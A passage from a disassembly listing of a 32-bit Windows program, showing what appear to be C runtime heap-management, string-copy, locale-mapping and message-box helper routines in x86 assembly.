		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_404003:				; CODE XREF: sub_403E83+113j
		mov	edx, [ebp+var_8]


loc_404006:				; CODE XREF: sub_403E83+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_404015
		cmp	[ebp+arg_4], edi
		jz	loc_40409E


loc_404015:				; CODE XREF: sub_403E83+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_40409E
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_404072
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_404061
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_404061:				; CODE XREF: sub_403E83+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_40409B
; ---------------------------------------------------------------------------


loc_404072:				; CODE XREF: sub_403E83+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_404088
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_404088:				; CODE XREF: sub_403E83+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_40409B:				; CODE XREF: sub_403E83+1EDj
		mov	ebx, [ebp+var_C]


loc_40409E:				; CODE XREF: sub_403E83+18Cj
					; sub_403E83+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_4041A9
		mov	eax, ds:dword_407284
		test	eax, eax
		jz	loc_40419B
		mov	ecx, ds:dword_40727C
		mov	edi, ds:dword_405094
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi	; VirtualFree
		mov	ecx, ds:dword_40727C
		mov	eax, ds:dword_407284
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, ds:dword_407284
		mov	ecx, ds:dword_40727C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, ds:dword_407284
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, ds:dword_407284
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_404129
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, ds:dword_407284


loc_404129:				; CODE XREF: sub_403E83+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_40419B
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi	; VirtualFree
		mov	eax, ds:dword_407284
		push	dword ptr [eax+10h]
		push	0
		push	ds:dword_4074C8
		call	ds:dword_405090	; RtlFreeHeap
		mov	eax, ds:dword_407288
		mov	edx, ds:dword_40728C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, ds:dword_407284
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_404A60
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	ds:dword_407288
		cmp	eax, ds:dword_407284
		jbe	short loc_40418D
		sub	eax, 14h


loc_40418D:				; CODE XREF: sub_403E83+305j
		mov	ecx, ds:dword_40728C
		mov	ds:dword_407280, ecx
		jmp	short loc_40419E
; ---------------------------------------------------------------------------


loc_40419B:				; CODE XREF: sub_403E83+233j
					; sub_403E83+2AAj
		mov	eax, [ebp+arg_0]


loc_40419E:				; CODE XREF: sub_403E83+316j
		mov	ds:dword_407284, eax
		mov	ds:dword_40727C, esi


loc_4041A9:				; CODE XREF: sub_403E83+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403E83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041AE	proc near		; CODE XREF: sub_403DE4+Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, ds:dword_407288
		mov	edx, ds:dword_40728C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_4041EE
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_4041FE
; ---------------------------------------------------------------------------


loc_4041EE:				; CODE XREF: sub_4041AE+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_4041FE:				; CODE XREF: sub_4041AE+3Ej
		mov	eax, ds:dword_407280
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_404225


loc_40420C:				; CODE XREF: sub_4041AE+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_404225
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_40420C


loc_404225:				; CODE XREF: sub_4041AE+5Cj
					; sub_4041AE+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_4042A3
		mov	ebx, edx


loc_40422C:				; CODE XREF: sub_4041AE+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_404248
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_404246
		add	ebx, 14h
		jmp	short loc_40422C
; ---------------------------------------------------------------------------


loc_404246:				; CODE XREF: sub_4041AE+91j
		cmp	ebx, eax


loc_404248:				; CODE XREF: sub_4041AE+83j
		jnz	short loc_4042A3


loc_40424A:				; CODE XREF: sub_4041AE+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_404260
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_40425D
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_40424A
; ---------------------------------------------------------------------------


loc_40425D:				; CODE XREF: sub_4041AE+A5j
		cmp	ebx, [ebp+var_4]


loc_404260:				; CODE XREF: sub_4041AE+9Fj
		jnz	short loc_404288
		mov	ebx, edx


loc_404264:				; CODE XREF: sub_4041AE+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_404278
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_404276
		add	ebx, 14h
		jmp	short loc_404264
; ---------------------------------------------------------------------------


loc_404276:				; CODE XREF: sub_4041AE+C1j
		cmp	ebx, eax


loc_404278:				; CODE XREF: sub_4041AE+BBj
		jnz	short loc_404288
		call	sub_4044B7
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_40429C


loc_404288:				; CODE XREF: sub_4041AE:loc_404260j
					; sub_4041AE:loc_404278j
		push	ebx
		call	sub_404568
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_4042A3


loc_40429C:				; CODE XREF: sub_4041AE+D8j
		xor	eax, eax
		jmp	loc_4044B2
; ---------------------------------------------------------------------------


loc_4042A3:				; CODE XREF: sub_4041AE+7Aj
					; sub_4041AE:loc_404248j ...
		mov	ds:dword_407280, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_4042CA
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_404301


loc_4042CA:				; CODE XREF: sub_4041AE+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_4042FE


loc_4042E7:				; CODE XREF: sub_4041AE+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_4042E7


loc_4042FE:				; CODE XREF: sub_4041AE+137j
		mov	edx, [ebp+var_4]


loc_404301:				; CODE XREF: sub_4041AE+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_40432A
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_40432A:				; CODE XREF: sub_4041AE+16Dj
					; sub_4041AE+183j
		test	ecx, ecx
		jl	short loc_404333
		shl	ecx, 1
		inc	edi
		jmp	short loc_40432A
; ---------------------------------------------------------------------------


loc_404333:				; CODE XREF: sub_4041AE+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_404350
		push	3Fh
		pop	esi


loc_404350:				; CODE XREF: sub_4041AE+19Dj
		cmp	esi, edi
		jz	loc_404465
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_4043C1
		cmp	edi, 20h
		jge	short loc_404390
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_4043BE
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_4043C1
; ---------------------------------------------------------------------------


loc_404390:				; CODE XREF: sub_4041AE+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_4043BE
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_4043C1
; ---------------------------------------------------------------------------


loc_4043BE:				; CODE XREF: sub_4041AE+1D6j
					; sub_4041AE+203j
		mov	ebx, [ebp+arg_0]


loc_4043C1:				; CODE XREF: sub_4041AE+1B0j
					; sub_4041AE+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_404471
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_404462
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_404433
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_404421
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_404421:				; CODE XREF: sub_4041AE+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_404462
; ---------------------------------------------------------------------------


loc_404433:				; CODE XREF: sub_4041AE+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_40444C
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_40444C:				; CODE XREF: sub_4041AE+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_404462:				; CODE XREF: sub_4041AE+24Ej
					; sub_4041AE+283j
		mov	ecx, [ebp+var_8]


loc_404465:				; CODE XREF: sub_4041AE+1A4j
		test	ecx, ecx
		jz	short loc_404474
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_404474
; ---------------------------------------------------------------------------


loc_404471:				; CODE XREF: sub_4041AE+229j
		mov	ecx, [ebp+var_8]


loc_404474:				; CODE XREF: sub_4041AE+2B9j
					; sub_4041AE+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_4044AA
		cmp	ebx, ds:dword_407284
		jnz	short loc_4044AA
		mov	ecx, [ebp+var_4]
		cmp	ecx, ds:dword_40727C
		jnz	short loc_4044AA
		and	ds:dword_407284, 0


loc_4044AA:				; CODE XREF: sub_4041AE+2E0j
					; sub_4041AE+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_4044B2:				; CODE XREF: sub_4041AE+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4041AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4044B7	proc near		; CODE XREF: sub_4041AE+CCp
		mov	eax, ds:dword_407288
		mov	ecx, ds:dword_407278
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_4044FA
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	ds:dword_40728C
		push	edi
		push	ds:dword_4074C8
		call	ds:dword_405064	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_40454A
		add	ds:dword_407278, 10h
		mov	ds:dword_40728C, eax
		mov	eax, ds:dword_407288


loc_4044FA:				; CODE XREF: sub_4044B7+11j
		mov	ecx, ds:dword_40728C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	ds:dword_4074C8
		lea	esi, [ecx+eax*4]
		call	ds:dword_40506C	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_40454A
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_405068	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_40454E
		push	dword ptr [esi+10h]
		push	edi
		push	ds:dword_4074C8
		call	ds:dword_405090	; RtlFreeHeap


loc_40454A:				; CODE XREF: sub_4044B7+30j
					; sub_4044B7+67j
		xor	eax, eax
		jmp	short loc_404565
; ---------------------------------------------------------------------------


loc_40454E:				; CODE XREF: sub_4044B7+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	ds:dword_407288
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_404565:				; CODE XREF: sub_4044B7+95j
		pop	edi
		pop	esi
		retn
sub_4044B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404568	proc near		; CODE XREF: sub_4041AE+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_40457A:				; CODE XREF: sub_404568+19j
		test	eax, eax
		jl	short loc_404583
		shl	eax, 1
		inc	ebx
		jmp	short loc_40457A
; ---------------------------------------------------------------------------


loc_404583:				; CODE XREF: sub_404568+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_404598:				; CODE XREF: sub_404568+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_404598
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	ds:dword_405068	; VirtualAlloc
		test	eax, eax
		jnz	short loc_4045CB
		or	eax, 0FFFFFFFFh
		jmp	loc_40465E
; ---------------------------------------------------------------------------


loc_4045CB:				; CODE XREF: sub_404568+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_404611
		lea	eax, [edi+10h]


loc_4045D8:				; CODE XREF: sub_404568+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_4045D8


loc_404611:				; CODE XREF: sub_404568+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_40464E
		or	[eax+4], edi


loc_40464E:				; CODE XREF: sub_404568+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_40465E:				; CODE XREF: sub_404568+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404568	endp


; =============== S U B	R O U T	I N E =======================================



sub_404663	proc near		; CODE XREF: sub_4036B9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_407240, ebx
		push	esi
		push	edi
		jnz	short loc_4046B2
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_405060	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4046E8
		mov	esi, ds:dword_4050B0
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	ds:dword_407240, eax
		jz	short loc_4046E8
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	ds:dword_407244, eax
		call	esi	; GetProcAddress
		mov	ds:dword_407248, eax


loc_4046B2:				; CODE XREF: sub_404663+Bj
		mov	eax, ds:dword_407244
		test	eax, eax
		jz	short loc_4046D1
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4046D1
		mov	eax, ds:dword_407248
		test	eax, eax
		jz	short loc_4046D1
		push	ebx
		call	eax
		mov	ebx, eax


loc_4046D1:				; CODE XREF: sub_404663+56j
					; sub_404663+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	ds:dword_407240


loc_4046E4:				; CODE XREF: sub_404663+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4046E8:				; CODE XREF: sub_404663+1Cj
					; sub_404663+33j
		xor	eax, eax
		jmp	short loc_4046E4
sub_404663	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4046F0	proc near		; CODE XREF: sub_4036B9+C5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_404773
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_404714
		shr	ecx, 2
		jnz	short loc_404781
		jmp	short loc_404735
; ---------------------------------------------------------------------------


loc_404714:				; CODE XREF: sub_4046F0+1Bj
					; sub_4046F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_404742
		test	al, al
		jz	short loc_40474A
		test	esi, 3
		jnz	short loc_404714
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_404781


loc_404730:				; CODE XREF: sub_4046F0+8Fj
		and	ebx, 3
		jz	short loc_404742


loc_404735:				; CODE XREF: sub_4046F0+22j
					; sub_4046F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_40476E
		dec	ebx
		jnz	short loc_404735


loc_404742:				; CODE XREF: sub_4046F0+2Bj
					; sub_4046F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40474A:				; CODE XREF: sub_4046F0+2Fj
		test	edi, 3
		jz	short loc_404764


loc_404752:				; CODE XREF: sub_4046F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_4047E6
		test	edi, 3
		jnz	short loc_404752


loc_404764:				; CODE XREF: sub_4046F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4047D7


loc_40476B:				; CODE XREF: sub_4046F0+7Fj
					; sub_4046F0+F4j
		mov	[edi], al
		inc	edi


loc_40476E:				; CODE XREF: sub_4046F0+4Dj
		dec	ebx
		jnz	short loc_40476B
		pop	ebx
		pop	esi


loc_404773:				; CODE XREF: sub_4046F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_404779:				; CODE XREF: sub_4046F0+A9j
					; sub_4046F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_404730


loc_404781:				; CODE XREF: sub_4046F0+20j
					; sub_4046F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_404779
		test	dl, dl
		jz	short loc_4047CB
		test	dh, dh
		jz	short loc_4047C1
		test	edx, 0FF0000h
		jz	short loc_4047B7
		test	edx, 0FF000000h
		jnz	short loc_404779
		mov	[edi], edx
		jmp	short loc_4047CF
; ---------------------------------------------------------------------------


loc_4047B7:				; CODE XREF: sub_4046F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_4047CF
; ---------------------------------------------------------------------------


loc_4047C1:				; CODE XREF: sub_4046F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_4047CF
; ---------------------------------------------------------------------------


loc_4047CB:				; CODE XREF: sub_4046F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_4047CF:				; CODE XREF: sub_4046F0+C5j
					; sub_4046F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_4047E1


loc_4047D7:				; CODE XREF: sub_4046F0+79j
		xor	eax, eax


loc_4047D9:				; CODE XREF: sub_4046F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_4047D9


loc_4047E1:				; CODE XREF: sub_4046F0+E5j
		and	ebx, 3
		jnz	short loc_40476B


loc_4047E6:				; CODE XREF: sub_4046F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4046F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4047EE	proc near		; CODE XREF: sub_403BD6+BEp
					; sub_403BD6+E6p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_405498
		push	offset sub_4035A8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	ds:dword_40726C, edi
		jnz	short loc_404864
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_405448
		mov	esi, 100h
		push	esi
		push	edi
		call	ds:dword_4050AC	; LCMapStringW
		test	eax, eax
		jz	short loc_404842
		mov	ds:dword_40726C, ebx
		jmp	short loc_404864
; ---------------------------------------------------------------------------


loc_404842:				; CODE XREF: sub_4047EE+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4070C8
		push	esi
		push	edi
		call	ds:dword_4050B4	; LCMapStringA
		test	eax, eax
		jz	loc_40497C
		mov	ds:dword_40726C, 2


loc_404864:				; CODE XREF: sub_4047EE+2Ej
					; sub_4047EE+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_404879
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_404A12
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_404879:				; CODE XREF: sub_4047EE+79j
		mov	eax, ds:dword_40726C
		cmp	eax, 2
		jnz	short loc_4048A0
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4050B4	; LCMapStringA
		jmp	loc_40497E
; ---------------------------------------------------------------------------


loc_4048A0:				; CODE XREF: sub_4047EE+93j
		cmp	eax, 1
		jnz	loc_40497C
		cmp	[ebp+arg_18], edi
		jnz	short loc_4048B6
		mov	eax, ds:dword_407264
		mov	[ebp+arg_18], eax


loc_4048B6:				; CODE XREF: sub_4047EE+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	ds:dword_405084	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_40497C
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_4026C0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_404911
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_404911:				; CODE XREF: sub_4047EE+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_40497C
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_405084	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_40497C
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4050AC	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_40497C
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_404990
		cmp	[ebp+arg_14], edi
		jz	loc_404A0B
		cmp	esi, [ebp+arg_14]
		jg	short loc_40497C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
